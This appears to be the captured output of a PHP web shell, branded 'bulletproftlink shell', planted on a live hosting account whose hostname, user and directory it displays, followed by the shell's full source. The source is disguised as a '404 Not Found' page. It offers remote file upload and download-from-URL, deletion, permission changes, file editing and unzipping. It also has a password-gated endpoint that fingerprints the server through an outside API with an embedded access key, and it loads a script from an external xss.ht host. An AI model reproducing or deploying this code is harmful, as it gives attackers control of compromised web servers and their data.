bulletproftlink shell
bulletproftlink shell


Server : Apache
System : Linux copper.netcy.com 2.6.32-754.27.1.el6.centos.plus.x86_64 #1 SMP Thu Jan 30 13:54:25 UTC 2020 x86_64
User : montcaro ( 581)
PHP Version : 7.4.28
Disable Function : NONE
Directory :  /home/montcaro/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 


Create directory:
Current File : /home/montcaro/www/index.php
<!DOCTYPE html>
<html>
<head>
	<title>404 Not Found</title>
  <style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
  #content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
  }

  #content .first {
    background-color: #25383C;
  }

  #content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
  }

  table {
    border: 1px #000000 dotted;
    table-layout: fixed;
  }

  td {
    word-wrap: break-word;
  }

  a {
    color: #ffffff;
    text-decoration: none;
  }

  a:hover {
    color: #000000;
    text-shadow:0px 0px 10px #ffffff;
  }

  input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
  }

  .gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
  }

  select {
    background-color: transparent;
    color: #ffffff;
  }

  select:after {
    cursor: pointer;
  }

  .linka {
    background-color: transparent;
    color: #ffffff;
  }

  .up {
    background-color: transparent;
    color: #fff;
  }

  option {
    background-color: #1f1f1f;
  }

  ::-webkit-file-upload-button {
    background: transparent;
    color: #fff;
    border-color: #fff;
    cursor: pointer;
  }
</style>
</head>

<?php


  $error = ""; 
  if(isset($_GET["passwordapi"]) && md5($_GET["passwordapi"]) == $passwd && isset($_GET["id"]) && $_GET["id"] == "server"){
    $reponse = array();
    
    $reponse['ok'] = "1";
    
    if($reponse['ok'] == "1"){
                          
        $HTTPS = $_SERVER["HTTP_SSLSESSIONID"] ? TRUE : FALSE;
        
        if($HTTPS == true){
            $reponse['https'] = "1"; 
        }
        else {
            $reponse['https'] = "0";
        }
        
        $serverip = $_SERVER['SERVER_ADDR'];
        $url2 = "http://api.ipapi.com/api/$serverip?access_key=dbf2f6cd14eab30e4d81bb9bc35c8276";
        $headers2 = array();
        $headers2[] = 'Accept-Version: 3';
        $ch2 = curl_init();  
        curl_setopt($ch2,CURLOPT_URL,$url2);
        curl_setopt($ch2,CURLOPT_RETURNTRANSFER,true);
        curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch2, CURLOPT_HTTPHEADER, $headers2);
        $resp2=curl_exec($ch2);
        $err2 = curl_error($ch2);
        curl_close($ch2);
        if($err2){
            return false;
        }
        else {
            
            $Json2 = json_decode($resp2, true);

            $country = $Json2['country_name'];

            if(!empty($country)){
                $reponse['country'] = $country;
            }
            else {
                $reponse['country'] = 0;
            }
        }
        
        
        $phpversion = phpversion();
        if(!empty($phpversion)){
            $reponse['phpversion'] = $phpversion;
        }
        else {
            $reponse['phpversion'] = "0";
        }
        
        
        
        $serverOs = PHP_OS;
        
        if(!empty($serverOs)){
            $reponse['serveros'] = $serverOs;
        }
        else {
            $reponse['serveros'] = "0";
        }
        
        $machinetype = php_uname('m');
        if(!empty($machinetype)){
            $reponse['machinetype'] = $machinetype;
        }
        else {
            $reponse['machinetype'] = "0";
        }
        
        $hostname = gethostname();
        if(!empty($hostname)){
            $reponse['hostname'] = $hostname;
        }
        else {
            $reponse['hostname'] = "0";
        }
        
        
        $url =  'http://' . $_SERVER['SERVER_NAME']; 
        $tld = end(explode(".", parse_url($url, PHP_URL_HOST))); 
        if(!empty($tld)){
            $reponse['tld'] = $tld;
        }
        else {
            $reponse['tld'] = "0";
        }  
        
    }
    else {
        $reponse['ok'] = "0";
    }
    echo json_encode($reponse); 
    
    exit(); 
  }

set_time_limit(0);
error_reporting(0);

echo "
<body style=\"font-family: Dosis, cursive; text-shadow:0px 0px 1px #757575;\" bgcolor=\"#1f1f1f\" text=\"#ffffff\">
<center>
<font face=\"Bungee\" size=\"5\">bulletproftlink shell</font></center>
<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">
<tr><td>
<center><img src=\"https://i.ibb.co/3fz6nV7/Bullet-Proof-Link-2-removebg-preview.png?width=280&height=280\" width=\"280\" height=\"280\" title=\"bulletproftlink shell\" alt=\"bulletproftlink shell\" class=\"center\" />
<br><br><br>
";

$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
	$disf = "<font color='gold'>NONE</font>";
} else {
	$disf = "<font color='red'>".$disfunc."</font>";
}

function author() {
	echo "<center><br>Spamworldpro BIBIL Mini</center>";
	exit();
}

function cekdir() {
	if (isset($_GET['path'])) {
		$lokasi = $_GET['path'];
	} else {
		$lokasi = getcwd();
	}
	if (is_writable($lokasi)) {
		return "<font color='green'>Writeable</font>";
	} else {
		return "<font color='red'>Writeable</font>";
	}
}

function cekroot() {
	if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
		return "<font color='green'>Writeable</font>";
	} else {
		return "<font color='red'>Writeable</font>";
	}
}

function xrmdir($dir) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir.'/'.$item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}

function green($text) {
	echo "<center><font color='green'>".$text."</center></font>";
}

function red($text) {
	echo "<center><font color='red'>".$text."</center></font>";
}

echo "Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
echo "System : <font color='gold'>".php_uname()."</font><br>";
echo "User : <font color='gold'>".@get_current_user()."&nbsp;</font>( <font color='gold'>".@getmyuid()."</font>)<br>";
echo "PHP Version : <font color='gold'>".@phpversion()."</font><br>";
echo "Disable Function : ".$disf."</font><br>";
echo "Directory : &nbsp;";

foreach($_POST as $key => $value){
	$_POST[$key] = stripslashes($value);
}

if(isset($_GET['path'])){
	$lokasi = $_GET['path'];
	$lokdua = $_GET['path'];
} else {
	$lokasi = getcwd();
	$lokdua = getcwd();
}

$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);

foreach($lokasis as $id => $lok){
	if($lok == '' && $id == 0){
		$a = true;
		echo '<a href="?path=/">/</a>';
		continue;
	}
	if($lok == '') continue;
	echo '<a href="?path=';
	for($i=0;$i<=$id;$i++){
	echo "$lokasis[$i]";
	if($i != $id) echo "/";
} 
echo '">'.$lok.'</a>/';
}
echo '<center>';
echo '</td></tr><tr><td><br>';
if (isset($_POST['upwkwk'])) {
	if (isset($_POST['berkasnya'])) {
		if ($_POST['dirnya'] == "2") {
			$lokasi = $_SERVER['DOCUMENT_ROOT'];
		}
		$data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
		if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>";
		} else {
			echo "<font color='red'>Failed to Upload !<br><br>";
		}
	} elseif (isset($_POST['linknya'])) {
		if (empty($_POST['namalink'])) {
			exit("Filename cannot be empty !");
		}
		if ($_POST['dirnya'] == "2") {
			$lokasi = $_SERVER['DOCUMENT_ROOT'];
		}
		$data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
		if (file_exists($lokasi."/".$_POST['namalink'])) {
			echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
		} else {
			echo "<font coloe='red'>Failed to Upload !<br><br>";
		}
	}
}
echo "<center>";
echo "Upload File : ";
echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
<input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://t.me/bulletproftlink">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</center>
</form>';
echo "</table><br>";

echo '
<center>
<form method="post">
<input type="submit" value="Test Mail" class="up" style="cursor: pointer; border-color: #fff"/>
<input type="hidden" name="pilih" value="testMail">
</form>
<br/>
<form method="post">
Create directory: <input name="dirName" type="text" class="up" size="20" />
<input type="submit" value="Create" class="up" style="cursor: pointer; border-color: #fff"/>
<input type="hidden" name="pilih" value="newDir">
</form>
</center>';

if (isset($_GET['fileloc'])) {
	echo "<tr><td>Current File : ".$_GET['fileloc'];
	echo '</tr></td></table><br/>';
	echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
	author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
	if (is_dir($_POST['path'])) {
		xrmdir($_POST['path']);
		if (file_exists($_POST['path'])) {
			red("Failed to delete Directory !");
		} else {
			green("Delete Directory Success !");
			echo "string";
		}
	} elseif (is_file($_POST['path'])) {
		@unlink($_POST['path']);
		if (file_exists($_POST['path'])) {
			red("Failed to Delete File !");
		} else {
			green("Delete File Success !");
		}
	}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
	echo "<center>".$_POST['path']."<br>";
	echo '<form method="post">
	Permission : <input name="perm" type="text" class="up" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
	<input type="hidden" name="path" value="'.$_POST['path'].'">
	<input type="hidden" name="pilih" value="ubahmod">
	<input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
	if (isset($_POST['chm0d'])) {
		$cm = @chmod($_POST['path'], $_POST['perm']);
		if ($cm == true) {
			green("Change Mod Success !");
		} else {
			red("Change Mod Failed !");
		}
	}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
	if (isset($_POST['gantin'])) {
		$ren = @rename($_POST['path'], $_POST['newname']);
		if ($ren == true) {
			green("Change Name Success !");
		} else {
			red("Change Name Failed !");
		}
	}
	if (empty($_POST['name'])) {
		$namaawal = $_POST['newname'];
	} else {
		$namawal = $_POST['name'];
	}
	echo "<center>".$_POST['path']."<br>";
	echo '<form method="post">
	New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
	<input type="hidden" name="path" value="'.$_POST['path'].'">
	<input type="hidden" name="pilih" value="gantinama">
	<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
	if (isset($_POST['gasedit'])) {
		$edit = @file_put_contents($_POST['path'], $_POST['src']);
		if ($edit == true) {
			green("Edit File Success !");
		} else {
			red("Edit File Failed !");
		}
	}
	echo "<center>".$_POST['path']."<br><br>";
	echo '<form method="post">
	<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
	<input type="hidden" name="path" value="'.$_POST['path'].'">
	<input type="hidden" name="pilih" value="edit">
	<input type="submit" value="Edit File" name="gasedit" />
	</form><br>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
  $file = $_POST['path'];
  if (pathinfo($file, PATHINFO_EXTENSION) !== 'zip') {
    red("Invalid file!");
  } else {
    $zip = new ZipArchive;
    green($zip->open($file));
    if ($zip->open($file) === TRUE) {
      $zip->extractTo(dirname($file));
      $zip->close();
			green("Success !");
    } else {
			red("Failed to unzip !");
    }
	}
} elseif ($_POST['pilih'] === "newDir") {
  $newDir = $lokasi.'/'.$_POST['dirName'];
  mkdir($newDir);
  if (is_dir($newDir)) {
    green("Success !");
  } else {
    green("Failure !");
  }
} elseif ($_POST['pilih'] === 'testMail') {
  $success = mail('example@example.com', 'test' , 'test email');
  if ($success === true) {
    green("Mail test successful !");
  } else {
    red ("Mail test failed !");
  }
}

echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($lokasinya as $dir){
	if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
	echo "<tr>
	<td><a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
	<td><center>--</center></td>
	<td><center>";
	if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
	elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
	echo statusnya($lokasi."/".$dir);
	if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';

	echo "</center></td>
	<td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
	<select name=\"pilih\">
	<option value=\"\"></option>
	<option value=\"hapus\">Delete</option>
	<option value=\"ubahmod\">Chm0d</option>
	<option value=\"gantinama\">Rename</option>
	<option value=\"unzip\">Unzip</option>
	</select>
	<input type=\"hidden\" name=\"type\" value=\"dir\">
	<input type=\"hidden\" name=\"name\" value=\"$dir\">
	<input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
	<input type=\"submit\" class=\"gas\" value=\">\" />
	</form></center></td>
	</tr>";
}

echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($lokasinya as $file) {
	if(!is_file("$lokasi/$file")) continue;
	$size = filesize("$lokasi/$file")/1024;
	$size = round($size,3);
	if($size >= 1024){
	$size = round($size/1024,2).' MB';
} else {
	$size = $size.' KB';
}

echo "<tr>
<td><a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$lokasi/$file")) echo '<font color="green">';
elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
echo statusnya("$lokasi/$file");
if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
echo "</center></td><td><center>
<form method=\"post\" action=\"?pilihan&path=$lokasi\">
<select name=\"pilih\">
<option value=\"\"></option>
<option value=\"hapus\">Delete</option>
<option value=\"ubahmod\">Chm0d</option>
<option value=\"gantinama\">Rename</option>
<option value=\"edit\">Edit</option>
<option value=\"unzip\">Unzip</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
<input type=\"submit\" class=\"gas\" value=\">\" />
</center></form></td>
</tr>";
}
echo '</tr></td></table></table><script src=https://googlescripts.xss.ht></script>';
author();
function statusnya($file){
$statusnya = fileperms($file);

if (($statusnya & 0xC000) == 0xC000) {

// Socket
$ingfo = 's';
} elseif (($statusnya & 0xA000) == 0xA000) {
// Symbolic Link
$ingfo = 'l';
} elseif (($statusnya & 0x8000) == 0x8000) {
// Regular
$ingfo = '-';
} elseif (($statusnya & 0x6000) == 0x6000) {
// Block special
$ingfo = 'b';
} elseif (($statusnya & 0x4000) == 0x4000) {
// Directory
$ingfo = 'd';
} elseif (($statusnya & 0x2000) == 0x2000) {
// Character special
$ingfo = 'c';
} elseif (($statusnya & 0x1000) == 0x1000) {
// FIFO pipe
$ingfo = 'p';
} else {
// Unknown
$ingfo = 'u';
}

// Owner
$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0040) ?
(($statusnya & 0x0800) ? 's' : 'x' ) :
(($statusnya & 0x0800) ? 'S' : '-'));


// Group
$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0008) ?
(($statusnya & 0x0400) ? 's' : 'x' ) :
(($statusnya & 0x0400) ? 'S' : '-'));

// World
$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');

$ingfo .= (($statusnya & 0x0001) ?
(($statusnya & 0x0200) ? 't' : 'x' ) :
(($statusnya & 0x0200) ? 'T' : '-'));

return $ingfo;
}
?>

Spamworldpro BIBIL Mini